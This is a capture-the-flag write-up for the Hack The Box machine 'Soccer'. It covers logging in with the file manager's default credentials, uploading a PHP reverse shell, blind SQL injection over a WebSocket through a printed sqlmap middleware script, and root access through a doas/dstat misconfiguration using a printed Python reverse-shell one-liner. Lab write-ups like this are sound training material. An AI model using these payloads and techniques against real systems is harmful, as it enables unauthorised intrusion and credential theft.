Pawned: 18/02/23
Tags: Directory Scanning, Default Credentials, PHP Reverse Shell, LinPEAS, WebSocket, Blind SQL Injection, sqlmap, doas, dstat
Enumeration
First, as always, we use an nmap
version and script scan to
start off the enumeration.
We can see that port 80 is open, so we can navigate to http://10.10.11.194. This IP address tries to redirect us to http://soccer.htb. However, since the box is locally hosted, there is no DNS resolver, so the redirect fails. We can manually resolve the IP address by doing to following:
This allows us to visit the webpage where we see a whole lot of nothing.
Let's do a directory scan with gobuster
to see what we can find:
Navigating to http://soccer.htb/tiny, we see that it is a Tiny File Manager login page.
Searching up Tiny File Manager, we find these default credentials:
Username: admin, Password: admin@123
Username: user, Password: 12345
These both work, but we'll of course continue with "admin".
On this site, we see a file manager where we can upload and open files. This is a perfect opportunity to send a php reverse shell payload. First, we'll need to create the payload:
Remember to change [RHOST] and [RPORT] to your attacking machine's IP
and chosen listening port, respectively. Let's go with [RPORT] = 9443
and start an nc
listener:
Next, we'll need to upload the payload, making sure the destination folder is /var/www/html/tiny/uploads as this is where we have permission to upload:
Now we can navigate to revshell.php on tinyfilemanager and click open:
Checking our nc
listener, we see that we have obtained
a reverse shell on the server as "www-data". However, we quickly find
that we have very limited permissions as this user:
Initial Foothold
Before we continue, let's upgrade our shell TTY using this command:
Now let's try sudo -l
to see our options for lateral
movement (i.e. changing our user to "player"):
Unfortunately, we can't even do that. Next, we can try to use
LinPEAS.
To do that, we need to first start a local web server on our
attacking machine (make sure it's in the same directory as a copy
of linpeas.sh):
Then, on the target machine, we'll use the following command to download and run linpeas.sh from our server (with [RHOST] changed to our attacking machine's IP):
LinPEAS gives us a massive amount of (beautifully formatted) information. After carefully looking through it, we see that in the Network Information, there is information about hosts:
╔═════════════════════╗ ══════════════════════════════╣ Network Information ╠══════════════════════════════ ╚═════════════════════╝ ╔══════════╣ Hostname, hosts and DNS soccer 127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb 127.0.1.1 ubuntu-focal ubuntu-focal
We already know about "soccer.htb", but this implies the existence of
a subdomain called "soc-player.soccer.htb" that we would have never
found doing a subdomain search. This information also appears in other
places in the LinPEAS assessment.
Let's manually resolve its IP and navigate to the site:
On the site, we see a similar page to "soccer.htb", however, we now
have links to login or signup.
After trying, and failing, to gain access
to an account, we'll signup to see what we can find. Since we don't
want to expose our personal information to a potentially hostile
environment, we'll use a temporary burner email found
here.
It should be noted that since Hack the Box machines aren't connected
to the internet, we could technically enter anything as long as it's
formatted as an email.
Now that we have access, if we dig around in the source code, we see this in the script:
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
This means that the site uses a websocket. Researching "websocket injection" leads us to Rayhan0x01's Blog where there is a post about Automating Blind SQL injection over WebSocket. The blog post includes what is effectively a SQLMap tamper script that we can use for our purposes:
from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse from websocket import create_connection ws_server = "ws://soc-player.soccer.htb:9091" def send_ws(payload): ws = create_connection(ws_server) # If the server returns a response on connect, use below line #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here # For our case, format the payload in JSON message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message ws.send(data) resp = ws.recv() ws.close() if resp: return resp else: return '' def middleware_server(host_port,content_type="text/plain"): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False if payload: content = send_ws(payload) else: content = 'No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode()) return class _TCPServer(TCPServer): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print("[+] Starting MiddleWare Server") print("[+] Send payloads in http://localhost:8081/?id=*") try: middleware_server(('0.0.0.0',8081)) except KeyboardInterrupt: pass
After changing the highlighted parameters, we'll put the above code
in a Python script called "payload.py".
On one terminal screen, we run the script:
Then, on another terminal, we'll run the following sequence of
sqlmap
commands, going with the defaults for any options.
To check that time-based SQL injection on the websocket is working:
To see what database we are currently working in:
To see the tables in "soccer_db":
To see the contents of the "accounts" table:
Let's quickly recap what we just did. First, we confirmed that our payload
and sqlmap
were working. Then we found which database we were
in, "soccer_db", and listed its tables. We found an interesting table
called "accounts" and dumped its contents. Inside, we found the credentials
of an account.
Now, let's use those credentials to ssh
into the machine.
Now that we are logged in as "player" and in their home directory, we can get the user flag. Note that the flags get randomized periodically.
Privilege Escalation
As always, to kick off our privilege escalation attempts, let's
use sudo -l
:
Unfortunately, we can't run sudo
. So we could try LinPEAS
again and see what more we can find now that we have slightly higher
privilege as "player" compared to "www-data". However, we don't need
to do all that again since in the LinPEAS report that we ran before,
there was already a potential path to root:
╔══════════╣ Checking doas.conf permit nopass player as root cmd /usr/bin/dstat
There are two things to take note of here:
1) Like sudo
, doas
is a program that lets us execute commands as another user
(Source: archlinux).
The above line in "doas.conf" effectively allows us to run dstat
as "root".
2) dstat
is a tool used for generating resource statistics
(Source: die.net).
It runs user-created Python scripts to generate said statistics.
Putting these two together, we can create a reverse shell Python script
and run it as "root".
To do so, we need to first find out where doas
grabs scripts from:
Of these three directories, we have permissions to create files in /usr/local/share/dstat. So let's go there and create a Python file called dstat_rev.py with the following code:
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("[RHOST]",[RPORT])); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("/bin/sh")
Let's use [RPORT] = 8443 and set up a nc
listener on our
attacking machine:
Finally, we can run the following command to execute our payload with root permissions:
Back on our nc
listener, see that we have obtained a reverse
shell as "root":
Now that we have root access, we can obtain the root flag located in "/root/root.txt":
Thus, we have successfully hacked the box, but we must remember to clean up after ourselves: